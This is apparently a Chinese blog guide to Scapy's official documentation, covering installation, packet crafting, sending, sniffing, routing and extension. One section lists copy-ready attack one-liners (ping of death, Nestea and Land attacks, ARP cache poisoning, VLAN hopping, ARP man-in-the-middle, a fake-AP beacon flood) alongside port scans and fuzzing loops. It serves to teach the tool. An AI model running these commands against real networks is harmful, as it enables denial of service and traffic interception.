Scapy 官方文档体系导读与实践:基于 Python 的交互式网络包处理程序

发布时间:2026/9/23 7:24:35
Scapy 官方文档体系导读与实践:基于 Python 的交互式网络包处理程序 网络网络安全【免费下载链接】scapyScapy: the Python-based interactive packet manipulation program library.项目地址https://gitcode.com/gh_mirrors/sc/scapy点击查看免费下载本文以 doc/scapy/index.rst 所组织的 Scapy 官方文档体系为主线围绕仓库内的 introduction.rst、installation.rst、usage.rst、routing.rst、extending.rst 与 troubleshooting.rst 展开说明 Scapy 的核心设计理念、安装方式、交互式用法、网络栈配置与二次开发方法。读完本文你将掌握如何搭建环境、用几行代码构造与发送任意报文、执行 SYN 扫描与 traceroute、配置路由表与 socket以及如何用 Scapy 编写自己的网络工具。Scapy 是一个基于 Python 的交互式报文操作程序与库它既能“锻造”forge也能“解码”dissect海量协议的报文可以发送到线缆上、捕获回来并自动匹配请求与应答。它能够覆盖扫描scan、traceroute、探测probing、单元测试、攻击与网络发现等绝大多数经典任务官方文档甚至称其可以替代 hping、arpspoof、arp-sk、arping、p0f 以及 Nmap、tcpdump、tshark 的部分功能见 introduction.rst。更关键的是它对很多其他工具无法处理的场景也表现良好发送畸形帧、注入自定义 802.11 帧、组合技巧VLAN 跳变 ARP 缓存投毒、在 WEP 加密信道上解码 VoIP等。文档体系总览从 index.rst 出发Scapy 的文档以 Sphinx 编写根文档是 doc/scapy/index.rst。它本身是一个“主目录”master toctree通过四个toctree把全部内容组织为四类分类文档相对仓库根目录内容General documentationdoc/scapy/introduction.rst、doc/scapy/installation.rst、doc/scapy/usage.rst、doc/scapy/advanced_usage/index.rst、doc/scapy/routing.rst概念、安装、交互式使用、高级用法与网络栈Extend scapydoc/scapy/extending.rst、doc/scapy/build_dissect.rst、doc/scapy/functions.rst如何用 Scapy 构建自己的工具、如何扩展 ScapyLayer-specific documentationdoc/scapy/layers/index.rst 及 doc/scapy/layers/ 下各协议页各协议层的专题文档Aboutdoc/scapy/troubleshooting.rst、doc/scapy/development.rst、doc/scapy/backmatter.rstFAQ 排障、开发与贡献、附录此外index.rst在 HTML 构建模式下还会包含 API Reference指向api/scapy.rst并在页头展示版本信息与文档许可证Creative Commons Attribution - Non-Commercial - Share Alike 2.5。文档构建配置见 doc/scapy/conf.py它要求 Sphinx 3.0.0启用了autodoc、napoleon、todo、linkcode与自定义的scapy_doc扩展release/version直接取自scapy.VERSION_MAIN与scapy.VERSION。若想离线构建 HTML 版可在仓库内执行pip install sphinx cd doc/scapy make html构建结果位于_build/html/index.html。设计理念为什么 Scapy 如此特别introduction.rst 用一节专门阐述了 Scapy 与传统网络工具的本质差异理解这些理念是掌握 Scapy 的前提。只解码不解释多数网络探测工具把“解码”和“解释”混为一谈它们会说“这个端口是关闭的”而不是“我收到了一个 TCP RST”。Scapy 坚持只给出事实报告“在端口 80 收到 TCP Reset”不会引入解释错误而“端口 80 已关闭”这种结论在工具作者未预料的特定上下文里可能是错的例如收到 ICMP destination unreachable可能是没有主机转发而非被防火墙过滤。解释结果对新手友好但它注入偏差且让有经验的用户不得不反向还原原始事实。Scapy 在每次探测后总是返回完整解码的报文做到“探测一次解释多次”probe once, interpret many。报文快速设计DSL 式层叠模型其他工具固守“从 shell 运行的固定程序”范式结果是描述报文的语法极其笨拙且被作者预设的场景框死。Scapy 的范式是提供一种领域专用语言DSL直接用 Python 语法与 Python 解释器作为 DSL用户无需再学一门新语言就能以层叠stacking方式快速描述任意报文每层字段都有可被覆盖的默认值。官方文档的量化说法是在 C 语言中描述一个报文平均要 60 行而 Scapy 通常一两行即可完成约 90% 的网络探测工具可用两行 Scapy 重写见 introduction.rst。敏感默认值Sensible default valuesScapy 为所有字段提供合理默认值introduction.rst 给出了几条关键规则若未覆盖IP 源地址按目的地址与路由表自动选择校验和自动计算源 MAC 按输出接口选择以太网类型与 IP 协议号由上层决定TCP 默认源端口 20、目的端口 80UDP 默认源/目的端口 53ICMP 默认类型为 echo request。对应地scapy/config.py 中可以看到checkIPaddr True、verb 2、wepkey 、route_autoload True等默认配置项见 config.py。IP 层的实现位于 scapy/layers/inet.py字段默认值由各Field类定义。安装与平台注意事项installation.rst 给出了完整的安装流程。总体上四步安装 Python 3.7 → 安装 Scapy → 按平台安装依赖 → 以 root 权限运行。版本与 Python 兼容性文档中的兼容性表明确说明Scapy 2.5.0 是最后一个支持 Python 2.7 的版本2.5.0 起支持 Python 3.4-3.6而 Python 3.7-3.14 需要大于 2.5.0 的版本。当前仓库源码本身面向 Python 3。安装 Scapy v2.x最新发布版直接使用 pippip install scapy开发版包含最新特性与 bugfix但稳定性略低可通过 Git 安装git clone https://github.com/secdev/scapy.git cd scapy pip install .之后可用git pull pip install .更新。也可以不安装直接运行仓库内的run_scapyUnix或run_scapy.batWindows脚本。可选依赖功能依赖验证示例绘图plot()Matplotlibpip install matplotlibpsniff(count50); p.plot(lambda x:len(x))2D 图形psdump()/pdfdump()PyX LaTeX 发行版Unix 用 texlive、Windows 用 MikTexpip install pyxpIP()/ICMP(); p.pdfdump(test.pdf)会话图conversations()Graphviz 与 ImageMagick需系统包管理器单独安装prdpcap(myfile.pcap); p.conversations(typejpg, target test.jpg)3D 图形trace3D()VPython-Jupyterpip install vpythona,utraceroute([...]); a.trace3D()WEP 解密unwep()cryptographypip install cryptographyconf.wepkeyAA\x00\x00\x00后对 Weplap 测试 pcap 解密PKI 操作与 TLS 解密cryptography用于 TLS 会话相关功能指纹nmap_fp()Nmap需 v4.23 之前仍支持第一代指纹的旧版本load_module(nmap); nmap_fp(192.168.0.1)VoIPvoip_play()SoX—平台特定说明libpcap 开关任何时候可用from scapy.config import conf; conf.use_pcap True切换。默认 Unix 上优先使用原生 socketLinux 用AF_PACKETWindows 上优先使用 Npcap/WinpcapSolaris 因不支持AF_PACKET而必须依赖 libpcap。Linux 原生需要内核开启 Packet socketsCONFIG_PACKETlibpcap 默认仅用于编译 BPF 过滤器Debian/Ubuntu 用sudo apt-get install libpcap-devFedora 用yum install libpcap-devel。Mac OS X原生可用也可通过 Homebrewbrew install libpcap或 MacPortssudo port install libpcap安装后设conf.use_pcap True。OpenBSDdoas pkg_add libpcap或用pkg_add python-scapy。Windows必须安装 NpcapWinpcap 已不受支持安装时建议关闭 “Winpcap compatibility mode”若需监控模式使用 Wi-Fi 卡则勾选 802.11 选项随后可在cmd.exe中直接调用scapy。交互式使用从启动到实战usage.rst 是本文档体系中最核心的实操章节。Unix 上以 root 启动交互式 shellsudo scapy -H Welcome to Scapy (2.4.0) Windows 则在cmd.exe中以管理员权限运行scapy。缺少可选包时启动会打印类似INFO: Cant import python matplotlib wrapper. Wont be able to plot.的提示但基础收发功能不受影响。交互式终端可在~/.config/scapy/prestart.py中预配置。构造与查看报文 a IP(ttl10) a.src # 自动按路由表选择源地址 127.0.0.1 a.dst 192.168.1.1 del(a.ttl) # 删除后恢复默认值 64层叠用/运算符字符串可作为 Raw 载荷 IP()/TCP() IP frag0 protoTCP |TCP | IP()/TCP()/GET / HTTP/1.0\r\n\r\n IP frag0 protoTCP |TCP |Raw loadGET / HTTP/1.0\r\n\r\n | Ether()/IP()/IP()/UDP() # 甚至允许嵌套 IP构造与解析可以互逆raw(IP())得到二进制串IP(raw_bytes)重新解析hexdump(a)查看十六进制转储c.hide_defaults()隐藏与默认值相同的字段。常用命令速查命令效果raw(pkt)把报文组装为字节串hexdump(pkt)十六进制转储ls(pkt)列出字段值pkt.summary()单行摘要pkt.show()/pkt.show2()展开视图show2 基于已组装报文校验和已计算pkt.sprintf()用字段值填充格式串pkt.decode_payload_as()改变载荷解码方式pkt.psdump()/pkt.pdfdump()输出 PostScript/PDF 图解pkt.command()返回可再生成该报文的 Scapy 命令pkt.json()返回报文的 JSON 表示批量生成报文字段即集合每个字段都可以是集合列表、元组区间、Net网络对象隐式定义一组报文并做笛卡尔积展开 a IP(dstwww.slashdot.org/30) # 4 个地址 b IP(ttl[1, 2, (5, 9)]) # ttl 依次取 1,2,5..9 c TCP(dport[80, 443]) [p for p in a/c] # 4 x 2 共 8 个报文注意某些操作如raw()无法作用于报文集合未展开时只使用第一个元素。可将展开结果放入PacketList对象获得summary()、nsummary()、conversations()、filter()、hexdump()、plot()、make_table()等批量操作。发送报文send / sendpsend()工作在三层自动处理路由与二层封装sendp()工作在二层需自行指定接口与链路层协议两者均支持return_packetsTrue返回实际发送的报文列表。 send(IP(dst1.2.3.4)/ICMP()) sendp(Ether()/IP(dst1.2.3.4, ttl(1,4)), ifaceeth1) sendp(rdpcap(/tmp/pcapfile)) # 等价于 tcpreplay底层实现位于 scapy/sendrecv.pysend在 sendrecv.pysendp在 sendrecv.py。组播与 scope 标识符自 Scapy 2.6.0 起针对组播IPv4与链路本地IPv6地址可用%接口形式的 scope 标识符指定从哪块接口发送类似 RFC 6874 但对 IPv6/IPv4 均适用 conf.checkIPaddr False sr(IP(dst224.0.0.1%eth0)/ICMP(), multiTrue) sr(IPv6(dstff02::1%eth0)/ICMPv6EchoRequest(), multiTrue)既支持%eth0也支持%15接口 index可通过conf.ifaces查询。其背后实现是ScopedIP对象IP(dstScopedIP(224.0.0.1, scopeconf.iface))/ICMP()。Fuzzing 与字节注入fuzz()实现在 scapy/packet.py会把所有非计算字段校验和除外替换为类型适配的随机值 send(IP(dsttarget)/fuzz(UDP()/NTP(version4)), loop1)IP 层的 src/dst 不会被随机化需要时用RandIP()。RawVal允许向任意类型字段注入不符合类型的原始字节用于 PoC 场景 pkt IP(lenRawVal(bNotAnInteger), src127.0.0.1) bytes(pkt) bH\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00发送并接收sr 家族sr()发送三层报文并接收应答返回(回答列表, 未应答列表)sr1()只返回第一个应答srp()/srp1()对应二层超时无应答时对应位置为None。 p sr1(IP(dstwww.slashdot.org)/ICMP()/XXXXXXXXXXX) p.show() # 完整展开应答包括 Padding 层inter两个报文之间的发送间隔秒retry重发未应答报文retry3重试 3 次retry-3连续 3 轮无新增应答才停止timeout最后一包发出后等待应答的时间。应答对象Results与Unanswered提供summary()、nsummary()、filter()、make_table()等常用方法。经典探测与攻击场景usage.rst 汇集了大量可直接复制的“一行式”实战片段以下精选几类并保留原文命令。SYN 扫描 sr1(IP(dst72.14.207.99)/TCP(dport80, flagsS)) # 单包 sr(IP(dst192.168.1.1)/TCP(sport666, dport(440,443), flagsS)) sr(IP(dst192.168.1.1)/TCP(sportRandShort(), dport[440,441,442,443], flagsS)) ans, unans _ ans.summary(lambda s, r: r.sprintf(%TCP.sport% \t %TCP.flags%))收到SASYN-ACK即端口开放。还可借助make_table()对多目标展示结果或直接使用内置的report_ports()定义于 scapy/layers/inet.py一键扫描并输出 LaTeX 表格。其他常用探测# ACK 扫描判断端口是否被过滤 ans, unans sr(IP(dstwww.slashdot.org)/TCP(dport[80,666], flagsA)) # Xmas 扫描flagsFPU收到 RST 表示端口关闭 ans, unans sr(IP(dst192.168.1.1)/TCP(dport666, flagsFPU)) # IP 协议枚举 ans, unans sr(IP(dst192.168.1.1, proto(0,255))/SCAPY, retry2) # ARP Ping局域网主机发现 ans, unans srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdst192.168.1.0/24), timeout2) arping(192.168.1.0/24) # 内置函数见 scapy/layers/l2.py # ICMP Ping ans, unans sr(IP(dst192.168.1.0/24)/ICMP(), timeout3) # TCP SYN PingICMP 被禁时 ans, unans sr(IP(dst192.168.1.0/24)/TCP(dport80, flagsS)) # UDP PingICMP port unreachable 判活 ans, unans sr(IP(dst192.168.*.1-10)/UDP(dport0)) # DNS 查询 ans sr1(IP(dst8.8.8.8)/UDP(sportRandShort(), dport53)/DNS(rd1, qdDNSQR(qnamesecdev.org, qtypeA))) ans.an[0].rdata经典攻击向量# 畸形报文 send(IP(dst10.1.1.5, ihl2, version3)/ICMP()) # Ping of death send(fragment(IP(dst10.0.0.5)/ICMP()/(X*60000))) # Nestea 攻击分片重叠 send(IP(dsttarget, id42, flagsMF)/UDP()/(X*10)) send(IP(dsttarget, id42, frag48)/(X*116)) # Land 攻击 send(IP(srctarget, dsttarget)/TCP(sport135, dport135)) # 经典 ARP 缓存投毒 send(Ether(dstclientMAC)/ARP(opwho-has, psrcgateway, pdstclient), interRandNum(10,40), loop1) # 双 802.1q 封装的 ARP 缓存投毒VLAN hopping 组合 send(Ether(dstclientMAC)/Dot1Q(vlan1)/Dot1Q(vlan2)/ARP(opwho-has, psrcgateway, pdstclient), interRandNum(10,40), loop1) # ARP MitMCtrl-C 恢复连接需先开启内核转发 # sysctl net.ipv4.ip_forward1 arp_mitm(192.168.122.156, 192.168.122.17) # 无线 FakeAP需网卡与驱动支持帧注入 sendp(RadioTap()/Dot11(addr1ff:ff:ff:ff:ff:ff, addr200:01:02:03:04:05, addr300:01:02:03:04:05)/ Dot11Beacon(capESS, timestamp1)/Dot11Elt(IDSSID, infoRandString(RandNum(1,50)))/ Dot11EltRates(rates[130, 132, 11, 22])/Dot11Elt(IDDSset, info\x03)/ Dot11Elt(IDTIM, info\x00\x01\x00\x00), ifacemon0, loop1)无线注入时根据驱动可能需要把首层RadioTap()换成PrismHeader()或专有伪层甚至去掉监控模式的配置见下文排障章节。内置 DNS/名称服务Scapy 还内置了几个“应答机”answering machine风格的服务器dnsd(ifacetap0, match{google.com: 1.1.1.1}, joker192.168.1.1) # 简易 DNS 服务器joker 兜底 mdnsd(ifaceeth0, joker192.168.1.1) # mDNS llmnrd(ifacetap0, from_ipNet(10.0.0.1/24)) # LLMNR nbnsd(ifaceeth0, ip192.168.122.17) # NetBIOSdnsd支持relayTrue将 joker 行为改为转发到conf.nameservers中的服务器mdnsd、llmnrd、nbnsd均扩展自dnsd的 API。嗅探sniff 与异步 Sniffersniff()实现见 scapy/sendrecv.py可以单接口或多接口捕获支持 BPFfilter、count、prn回调与store sniff(filtericmp and host 66.35.250.151, count2) sniff(iface[eth1,eth2], prnlambda x: x.sniffed_on : x.summary()) sniff(ifaceeth1, prnlambda x: x.show()) pkts sniff(prnlambda x: x.sprintf({IP:%IP.src% - %IP.dst%\n}{Raw:%Raw.load%\n}))未指定接口时嗅探conf.iface多接口嗅探时可用pkt.sniffed_on得知来源接口。结合sprintf()可精确抽取字段支持{TCP:...}{ICMP:...}条件格式。异步嗅探Scapy 2.4.3AsyncSniffer见 scapy/sendrecv.py提供start()/stop()/join()可编程化停止而非 Ctrl-C参数与sniff()一致 t AsyncSniffer(ifaceenp0s3, count200) t.start() t.join() # 等待收集满 200 个包 results t.results也支持prn、storeFalse、filtertcp等组合。官方文档提醒异步嗅探不一定提升性能甚至相反多接口嗅探优先考虑合并到一次sniff()调用。嗅探会话SessionsScapy 2.4.3sniff(session...)可在分发到prn前对数据流做无缝重组内置会话类见 scapy/sessions.pyIPSessionsessions.py在线 IP 分片重组TCPSessionsessions.pyTCP 流重组当前支持 HTTP 1.0、TLS、Kerberos、LDAP、SMB、DCE/RPC、Postgres、DOIP 等TLSSession在流上匹配 TLS 会话NetflowSession从 NetflowFlowset 解析 Netflow V9 报文。 sniff(sessionIPSession, ifaceeth0) sniff(sessionTCPSession, prnlambda x: x.summary(), storeFalse) sniff(offlinefile.pcap, sessionNetflowSession)自定义会话只需继承DefaultSession并实现process/recv。以 TCP 重组为例层类需实现类方法tcp_reassemble(cls, data, metadata, session)当累积数据达到报头声明的长度时返回完整报文classmethod def tcp_reassemble(cls, data, metadata, session): length struct.unpack(!H, data[3:5])[0] 5 if len(data) length: return TLS(data)metadata字典关键键包括pay_classTCP 载荷类、tcp_pshPUSH 标志与tcp_endFIN/RST 标志tcp_reassemble返回的多余数据会保留给下一载荷。注意Session 内部机制当前标注为 UNSTABLE自定义 Session 未来可能被破坏。数据导入导出# PCAP wrpcap(temp.cap, pkts) # 写见 scapy/utils.py#L1263 pkts rdpcap(temp.cap) # 读见 scapy/utils.py#L1304 pkts sniff(offlinetemp.cap) # 十六进制转储hexdump 定义于 scapy/utils.py#L307可用 import_hexcap() 重新导入 pkt_hex Ether(import_hexcap()) # 二进制串往返 pkt_raw raw(pkt) new_pkt Ether(pkt_raw)wireshark(pktlist)scapy/utils.py可以把报文以 pcap 格式通过 stdin 流式送入 Wireshark 查看等同实时捕获设备。注意事项所有报文顶层 linktype 必须一致不能混用Ether与裸IP不支持的 linktype 会被替换为DLT_EN10MB而显示错误例如不能传裸ICMP需包在IP/IPv6内。Wireshark 可执行文件路径由conf.prog.wireshark配置。路由与网络栈routing.rst 说明 Scapy 维护独立于操作系统的完整网络栈自己的接口列表、路由表、ARP 缓存、IPv6 邻居缓存与 nameserver 配置。它初始化时向 OS 查询数据为此实现了 Linux/Windows/BSD 等绑定使用场景包括sr()/send()用conf.route选接口并可能发 ARP 请求dns_resolve()用conf.nameservers发查询。接口列表 conf.ifaces Source Index Name MAC IPv4 IPv6 sys 1 lo 00:00:00:00:00:00 127.0.0.1 ::1 sys 2 eth0 Microsof:12:cb:ef 10.0.0.5 fe80::10a:2bef:dc12:afae conf.ifaces.dev_from_index(2) NetworkInterface eth0 [UPBROADCASTRUNNINGSLAVE]接口对象存储在conf.ifacesNetworkInterfaceDict提供dev_from_index()、dev_from_name()、dev_from_networkname()等访问方法老接口get_if_list()仅返回名称列表。还可用load_extcap()来自scapy.libs.extcap加载 Wireshark 的 extcap 接口sshdump、udpdump、randpktdump 等并直接用于sniff()例如远程 SSH 抓包 load_extcap() sniff(ifacesshdump, prnlambda x: x.summary(), ... remote_host192.168.0.1, remote_usernameroot, remote_passwordSCAPY)选项可通过conf.ifaces.dev_from_networkname(sshdump).get_extcap_config()查询。IPv4 / IPv6 路由路由表存放在conf.routescapy.route.Route类见 scapy/route.py与conf.route6 conf.route Network Netmask Gateway Iface Output IP Metric 0.0.0.0 0.0.0.0 10.0.0.1 eth0 10.0.0.5 100 127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1 1 conf.route.route(127.0.0.1) # 返回 (接口, 出口IP, 网关) (lo, 127.0.0.1, 0.0.0.0) gw conf.route.route(0.0.0.0)[2] # 默认网关常用取址函数ip get_if_addr(conf.iface) # 接口 IPv4 mac get_if_hwaddr(eth0) # 接口 MAC mac getmacbyip(10.0.0.1) # 下一跳 MAC本链路走缓存 ARP跨网段返回网关 MAC动态修改路由 conf.route.delt(net0.0.0.0/0, gw192.168.8.1) conf.route.add(net0.0.0.0/0, gw192.168.8.254) conf.route.add(host192.168.1.1, gw192.168.8.1) conf.route.resync() # 重新从 OS 同步若路由表很大导致启动缓慢可在~/.config/scapy/prestart.py或导入 Scapy 前设置conf.route_autoload False与conf.route6_autoload False之后用conf.route.resync()按需加载。高级可视化traceroute 全家桶traceroute()scapy/layers/inet.py并行发送所有 TTL 的探测包多个目标、多端口可在 3 秒内完成返回(Traceroute 结果对象, 未应答列表) traceroute([www.yahoo.com, www.altavista.com, www.wisenut.com, www.copernic.com], maxttl20)TracerouteResult是Results的子类支持show()、filter()两个结果可用合并。还可 res.graph(target /tmp/graph.svg) # 按 AS 聚类的有向图需 Graphviz/ImageMagick res.trace3D() # VPython 3D 可视化配合 GeoIP2 数据库与 matplotlib、cartopy 可绘制世界地图 conf.geoip_city path/to/GeoLite2-City.mmdb traceroute_map([www.google.co.uk, www.secdev.org])其他 traceroute 变体还包括TCP SYN traceroutesr(IP(dst4.2.2.1, ttl(1,10))/TCP(dport53, flagsS))、UDP/DNS traceroutetraceroute(4.2.2.1, l4UDP(sportRandShort())/DNS(qdDNSQR(qnamethesprawl.org)))、IPv6 的traceroute6()scapy/layers/inet6.py等。用 Scapy 构建自己的工具extending.rst 说明可以把 Scapy 当库用在自己的脚本里也可以不改源码就扩展新协议。作为库使用#! /usr/bin/env python import sys from scapy.all import sr1, IP, ICMP p sr1(IP(dstsys.argv[1])/ICMP()) if p: p.show()日志级别可用标准logging调整交互模式下默认 INFO非交互默认 WARNINGimport logging logging.getLogger(scapy).setLevel(logging.CRITICAL)官方还给出了一个完整示例ARP ping 并输出 LaTeX 表格arping2tex设置conf.verb 0静默用srp(Ether(dstff:ff:ff:ff:ff:ff)/ARP(pdstsys.argv[1]), timeout2)后以sprintf()生成表格行以及一个持续监听所有接口 ARP 报文的监控脚本sniff(prnarp_monitor_callback, filterarp, store0)。扩展 Scapy自定义协议自定义层只需继承Packet并声明fields_desc例如扩展文档中的Test包基于ShortField等字段类型。更便捷的做法是把扩展写成独立可执行脚本脚本末尾调用interact()进入交互环境~/.config/scapy/prestart.py则会在每次启动时自动加载个性化配置。常见排障troubleshootingdoc/scapy/troubleshooting.rst 汇总了 FAQ监控模式抓不到包/无法注入libpcap/Npcap 场景需给所有打开 socket 的调用send/sniff/conf.L2Socket等传monitorTrueWindows 还需conf.iface.setmonitor(True)原生 Linux 场景需自行把接口设为 monitor如airmon-ng start wlan0或iw dev wlan0 interface add mon0 type monitor ifconfig mon0 up。TCP 连接被内核 RST 重置内核不知道 Scapy 在“背后”工作收到目标回发的 SYN-ACK 时会抢先回 RST请用本地防火墙规则如 Linux 的 Netfilter屏蔽Scapy 不介意本地防火墙存在。无法 ping 127.0.0.1 / ::1回环接口特殊报文不会真正被组装/拆卸Linux 上可把conf.L3socket换成L3RawSocket以 PF_INET/SOCK_RAW 发送IPv6 直接sr1(IPv6()/ICMPv6EchoRequest())注意 Linux 下 libpcap 不支持回环 IPv4 ping可用conf.use_pcap False或conf.L3socket L3RawSocket绕过。性能慢/丢包优先用内核 BPF 过滤sniff(filter...)或用conf.layers.filter([Ether, IP, ICMP])只解析所需层、其余按Raw处理conf.layers.unfilter()恢复。结论从 doc/scapy/index.rst 出发可以看到 Scapy 官方文档体系完整覆盖了“概念 → 安装 → 交互使用 → 路由/网络栈 → 扩展 → 排障”的全链路。其核心价值在于以 Python DSL 描述报文、以“只解码不解释”的姿态返回完整事实配合send/sr/sniff/traceroute等函数家族源码集中在 scapy/sendrecv.py、scapy/layers/inet.py、scapy/utils.py即可在一两行内实现绝大多数网络探测任务。官方文档同时反复强调Scapy 的设计目标是“易于破解与扩展”而非绝对性能复杂任务下应优先借助内核 BPF 过滤与会话重组来降低开销。赞分享网络网络安全【免费下载链接】scapyScapy: the Python-based interactive packet manipulation program library.项目地址https://gitcode.com/gh_mirrors/sc/scapy点击查看免费下载相关推荐Better Auth 官方文档与官网站点开发指南基于 Next.js 16 与 Fumadocs 的文档工程实践Better Auth 官方文档与官网站点开发指南基于 Next.js 16 与 Fumadocs 的文档工程实践 Better Auth 是一个面向 Typ认证鉴权后端身份认证IPython 官方文档全景导读交互式 Shell 与 Jupyter Kernel 核心功能详解IPython 官方文档全景导读交互式 Shell 与 Jupyter Kernel 核心功能详解 IPython 是一个面向交互式与探索式计算intera开发工具CLIpytest 官方文档导读用 pytest 写出更好程序的核心能力与实践路径pytest 官方文档导读用 pytest 写出更好程序的核心能力与实践路径 导读 本文以 pytest 官方文档首页 doc/en/index.rst h测试开发工具创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考